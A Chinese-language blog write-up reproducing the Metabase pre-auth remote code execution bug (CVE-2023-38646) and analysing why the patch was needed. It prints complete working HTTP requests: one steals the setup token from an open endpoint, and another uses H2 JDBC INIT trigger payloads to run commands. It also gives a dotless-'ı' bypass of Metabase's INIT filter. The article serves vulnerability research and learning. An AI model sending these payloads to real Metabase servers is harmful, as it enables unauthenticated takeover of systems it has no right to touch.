twi上看到了这个洞 而且还是Pre-auth RCE,想赶着热乎的尝试分析一下、结果踩了个坑——官方的patch并没有在github源码中 而是直接包含在了release文件中,也是没有经验,最终独立复现以失败告终

下面是根据其他师傅的文章来复现,嘛 也算不亏 毕竟知识是学到了√


前置

Metabase是一个开源的Dashboard 可用来展示数据可视化的图表等,有用户系统,项目主要由Clojure编写(基于Lisp 但建立在JVM之上,可以和Java互相调用),分发出的可执行的文件是.jar文件,通过java -jar Metabase.jar启动

debug环境就不多说了,经典的Remote JVM Debug

java.exe -jar -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 .\lib\metabase.jar

如果觉得没有Java的原生类看着别扭 可以单独添加与运行Java版本对应的src.zip到Library中

*有一个很蛋疼的点是Metabase项目较大 同时有很多个线程在执行,debug可能不是很流畅

失败尝试

从网传厚码的截图看出利用点是在一个POST JSON请求,我们先找到处理web请求的handle函数org.eclipse.jetty.server.Server#handle,发现metabase使用的是jetty作为中间件,后续处理请求大部分代码使用Clojure(如路由匹配、鉴权等核心功能) 其中穿插调用Java代码

回看更新前后的diff,除去Docker tag的bug修复、为发布release的空commit以外,还剩下两个 都与数据库有关,但都是对已有issues的修复,看不出来有什么安全上的考量…… 阴谋论一下:可能关于安全的更新仅在release文件中

*结果还真是

正确道路

H2 JDBC RCE

在Metabase初始化时可以选择配置数据库连接,支持H2数据库

回想之前JDBC的利用技巧,我们可以利用连接语句的INIT配置项做到rce

jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8081/poc.sql'
jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER amiz BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '//javascript\njava.lang.Runtime.getRuntime().exec(\"calc.exe\")'

那Metabase是否可以做一样的事情呢?

先发送一个普通的连接数据包

image-20230730172155914

是用json确定连接时的参数,我们添一条init 并把payload放入,db选取Metabase.jar中自带的sample-database.db,虽然是在jar包中、但可以用zip:让其自动解压

{
    "is_on_demand": false,
    "is_full_sync": false,
    "is_sample": false,
    "cache_ttl": null,
    "refingerprint": false,
    "auto_run_queries": true,
    "schedules":
    {},
    "details":
    {
        "db": "zip:./lib/metabase.jar!/sample-database.db;MODE=MSSQLServer;",
        "advanced-options": false,
        "ssl": true,
"init": "CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('calc.exe')\u000A$$"
    },
    "name": "an-sec-research-team",
    "engine": "h2"
}

又因为这个连接的过程在最初项目setup时也有,用来鉴权的token在/api/session/properties中(未授权访问,在setup结束后仍然存在),所以整体的利用过程如下

  1. 请求/api/session/properties获取setup-token
GET /api/session/properties HTTP/1.1
Host: localhost:3000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36
Connection: close
Cache-Control: max-age=0
  1. 请求/api/setup/validate,利用H2 JDBC的技巧进行RCE
POST /api/setup/validate HTTP/1.1
Host: localhost:3000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 739

{
    "token": "[setup-token]",
    "details":
    {
        "is_on_demand": false,
        "is_full_sync": false,
        "is_sample": false,
        "cache_ttl": null,
        "refingerprint": false,
        "auto_run_queries": true,
        "schedules":
        {},
        "details":
        {
            "db": "zip:./lib/metabase.jar!/sample-database.db;MODE=MSSQLServer;",
            "advanced-options": false,
            "ssl": true,
"init": "CREATE TRIGGER amiz BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS '//javascript\njava.lang.Runtime.getRuntime().exec(\"calc.exe\")'"
        },
        "name": "an-sec-research-team",
        "engine": "h2"
    }
}

image-20230730215738593

代码分析

虽然我们是直接利用了init,但实际上Metabase是存在过滤的,在metabase.driver.h2/connection-string-set-safe-options中有这样的代码

image-20230730175056274

会将INIT=...统统删除,那为什么我们还可以利用成功呢?

image-20230730211247389

因为实际进入到判断的options只有db里的MODE=MSSQLSERVERinit参数是通过json中单独的键传入

而全部的参数则会在之后不断merge到jdbc-spec参数中

image-20230730211600349

jdbc-spec中的所有配置项是不经过安全检查的,直接就到了java.sql.DriverManager#getConnection(java.lang.String, java.util.Properties),所以导致我们对payload不用任何的处理即可被执行

另一种payload

如果我们就是执意要把init=xxx放到db字符串里,可以怎么绕过呢?p牛的这篇文章-> Fuzz中的javascript大小写特性提到拉丁字母"ı".toUpperCase() == 'I',但connection-string-set-safe-options是使用lower-case-endb字符串的参数转小写后匹配,到h2真正执行时会用readSettingsFromURL函数进行处理,这里用的时toUpperEnglish;我们利用这个大小写差异来构造paylaod

{
    "token": "[setup-token]",
    "details":
    {
        "is_on_demand": false,
        "is_full_sync": false,
        "is_sample": false,
        "cache_ttl": null,
        "refingerprint": false,
        "auto_run_queries": true,
        "schedules":
        {},
        "details":
        {
            "db": "zip:./lib/metabase.jar!/sample-database.db;MODE=MSSQLServer;ınit=CREATE TRIGGER amiz BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('calc.exe')\n$$",
            "advanced-options": false,
            "ssl": true
        },
        "name": "an-sec-research-team",
        "engine": "h2"
    }
}

经验教训

  1. 有时候开源项目的安全更新并不在commit里…… 也许鸡贼的直接在release中进行patch
  2. 漏洞是新的,但核心往往是已有的trick的奇妙组合,基本功还是要很扎实才行

以下是本文中涉及到的 和我学习时看过的所有文章的链接 每日感谢互联网的丰富资源(

从JDBC到h2 database任意命令执行

Metabase 远程代码执行漏洞分析 一种补丁绕过方法 CVE-2023-38646